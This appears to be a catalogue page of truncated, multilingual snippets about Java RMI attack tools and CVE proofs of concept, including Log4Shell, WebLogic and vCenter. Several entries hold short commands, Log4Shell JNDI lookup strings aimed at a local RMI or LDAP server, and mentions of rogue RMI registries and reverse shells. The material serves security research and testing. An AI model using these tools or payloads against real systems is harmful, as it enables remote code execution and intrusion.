BaRMIe

BaRMIe BaRMIe is a tool for enumerating and attacking Java RMI Remote Method Invocation services. RMI services often expose dangerous functionality without adequate security controls, however RMI services tend to pass under the radar during security assessments due to the lack of effective testin...

CVE-2021-44228

CVE-2021-44228 취약점 재현 1. 먼저 RmiServer를 실행하여 RMI 레지스트리 서비스를 생성합니다. 2. Log4jTest를 실행합니다. Windows를 사용하는 경우 계산기가 나타납니다...

rmiscout

Description RMIScout enables wordlist and bruteforce attacks against exposed Java RMI interfaces to safely guess method signatures without invocation. It supports multiple Java RMI protocols, method invocation, and exploitation. Feature overview Supports multiple types of Java RMI servers: RMI-JR...

CVE-2024-1403

CVE-2024-1403 Progress OpenEdge 認証バイパス Progress OpenEdge CVE-2024-1403 のエクスプロイト概念実証（PoC）です。 ブログ記事 詳細はこちら: https://www.horizon3.ai/attack-research/cve-2024-1403-progress-openedge-authentication-bypass-deep-dive 使用法 以下の jar ファイルのご自身のバージョンを用意する必要があります: progress.jar oeauth-12.8.-.jar osmetrics.jar...

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus 中文 README Описание JNDI-Injection-Exploit-Plus — это инструмент для генерации рабочих JNDI-ссылок и предоставления фоновых сервисов путём запуска RMI-сервера, LDAP-сервера и HTTP-сервера. С помощью этого инструмента вы можете получить JNDI-ссылки и вставить их в свой P...

Jmeter-CVE-2018-1297-

Уязвимость выполнения команд при десериализации RMI Jmeter CVE-2018-1297 Apache JMeter — это набор открытого программного обеспечения, написанный на языке Java Американским фондом программного обеспечения Apache American Apache Software Foundation для стресс-тестирования и тестирования...

remote-method-guesser

Remote Method Guesser remote-method-guesser rmg is a Java RMI vulnerability scanner and can be used to identify and verify common security vulnerabilities on Java RMI endpoints...

remote-method-guesser

Remote Method Guesser remote-method-guesser rmg — это сканер уязвимостей Java RMI , который можно использовать для обнаружения и проверки распространённых уязвимостей безопасности на конечных точках Java RMI...

cve-2021-21985_exp

cve-2021-21985 exploit 0x01 취약점 지점 분석 내용은 다음에서 확인할 수 있습니다: https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=homerapid7-analysis 0x02 exploit beans 객체를 재구성하여 rce를 구현합니다. bean 목록: root@kitploit: localizedMessageBundle vsanWorkerThreadFactory vsanThreadPoolImpl...

CVE-2021-44228

CVE-2021-44228 こっちのお話の方がより実用性があると思います泣christophetd/log4shell-vulnerable-app 興味を持って勢いで調べただけなので、あやふやな箇所や間違いがあると思われます。 どうか、自己責任でお願いします。 再現環境を作る。 linux環境であれば動作すると思われます。 1. jdk のダウンロード jdk8u191 以降では com.sun.jndi.rmi.object.trustURLCodebase オプションが追加され、デフォルトが False になっています。 この状態では外部で用意した class...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Пример удаленного внедрения кода с использованием CVE-2021-44228 через RMI и LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit...

CVE-2018-2893

CVE-2018-2893 Weblogic CVE-2018-2893 Наслаждайтесь Тестовая среда-Docker Docker здесь! https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md Ps: Так как внешняя сеть имеет RMI-сервер, очень удобно получить shell; если вы во внутренней сети, вам нужно указать свой собственн...

zkar

ZKar ZKar is a Java serialization protocol analysis tool implement in Go. This tool is still work in progress , so no complete API document and contribution guide. ZKar provides: A Java serialization payloads parser and viewer in pure Go, no CGO or JDK is required From the Java serialization...

log4shell-rmi-poc

log4shell-rmi-poc Java-RMI를 통한 Log4j 취약점CVE-2021-44228의 개념 증명PoC spring-boot-starter-log4j2의 Log4j 2.5.7을 사용합니다. 요구 사항: Java 8JDK 1.8.025 및 Java 11JDK 11.0.1에서 테스트되었습니다. POC 실행 방법 1. 저장소 클론: root@kitploit: git clone https://github.com/Labout/log4shell-rmi-poc.git 2. 공격자 RMI 서버 시작 root@kitploit:...

CVE-2020-2551

CVE-2020-2551 Deserialización de Weblogic IIOP Entorno de prueba Weblogic10.3.6+jdk1.6 Paquete jar empaquetado Código de extracción: a6ob Explotación de la vulnerabilidad Descargue el paquete jar, luego use marshalsec para iniciar un servicio RMI malicioso, y compile localmente un exp.java...

ermir

Ermir Ermir는 악성/가짜 RMI 레지스트리로, 표준 RMI 메서드list/lookup/bind/rebind/unbind를 호출하는 모든 Java 코드의 안전하지 않은 역직렬화를 악용합니다. 요구 사항 Ruby v3 이상. 설치 rubygems.org에서 Ermir 설치: root@kitploit: $ gem install ermir 또는 저장소를 클론하고 gem 빌드: root@kitploit: $ git clone https://github.com/hakivvi/ermir.git $ rake install 사용법...

ermir

Ermir Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization on any Java code calling standard RMI methods on it list/lookup/bind/rebind/unbind. Requirements Ruby v3 or newer. Installation Install Ermir from rubygems.org: root@kitploit: $ gem install ermir or clone the repo and...

CVE-2021-29200

CVE-2021-29200 CVE-2021-29200 EXP может успешно получить обратную оболочку Данная статья и инструмент предназначены только для технического ознакомления. Строго запрещено использование в незаконных целях. В противном случае вся ответственность ложится на вас. Запуск EXP для выполнения команд 1...

log4j-CVE-2021-44228-test

log4j-CVE-2021-44228-test демонстрационные проекты, показывающие, как эксплуатировать уязвимость log4j CVE-2021-44228 использовался spring boot только для быстрой настройки. простите за хардкод, это был всего лишь POC. Использование Установите Java 8. Соберите с помощью Maven mvn clean package...

CVE-2018-3245

CVE-2018-3245 1단계 java -jar ysoserial-cve-2018-3245.jar root@kitploit: Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933 @mbechler CVE20183245...